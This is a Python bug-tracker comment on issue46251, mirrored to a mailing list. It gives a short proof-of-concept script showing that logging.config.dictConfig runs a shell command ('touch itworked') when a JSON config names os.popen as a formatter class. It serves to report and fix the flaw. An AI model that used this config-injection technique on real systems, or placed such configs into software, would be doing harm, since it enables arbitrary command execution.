[issue46251] logger.config.configure_formatter executes arbitrary code

[Eric V. Smith]

Eric V. Smith <e...@trueblade.com> added the comment:

Thanks.

Here's a somewhat smaller, one-file version, that writes to the current 
directory (I'm on Windows, no /tmp):

---------------------
import logging
import logging.config
import json

log_config_txt = '''{
    "version":1,
    "formatters":{
        "EXPLOIT":{
            "class": "os.popen",
            "format": "touch itworked",
            "datefmt": "r",
            "style": 1

        }
    }
}
'''

log_config = json.loads(log_config_txt)
logging.config.dictConfig(log_config)
logger = logging.getLogger("calculator")
---------------------

----------

_______________________________________
Python tracker <rep...@bugs.python.org>
<https://bugs.python.org/issue46251>
_______________________________________
_______________________________________________
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com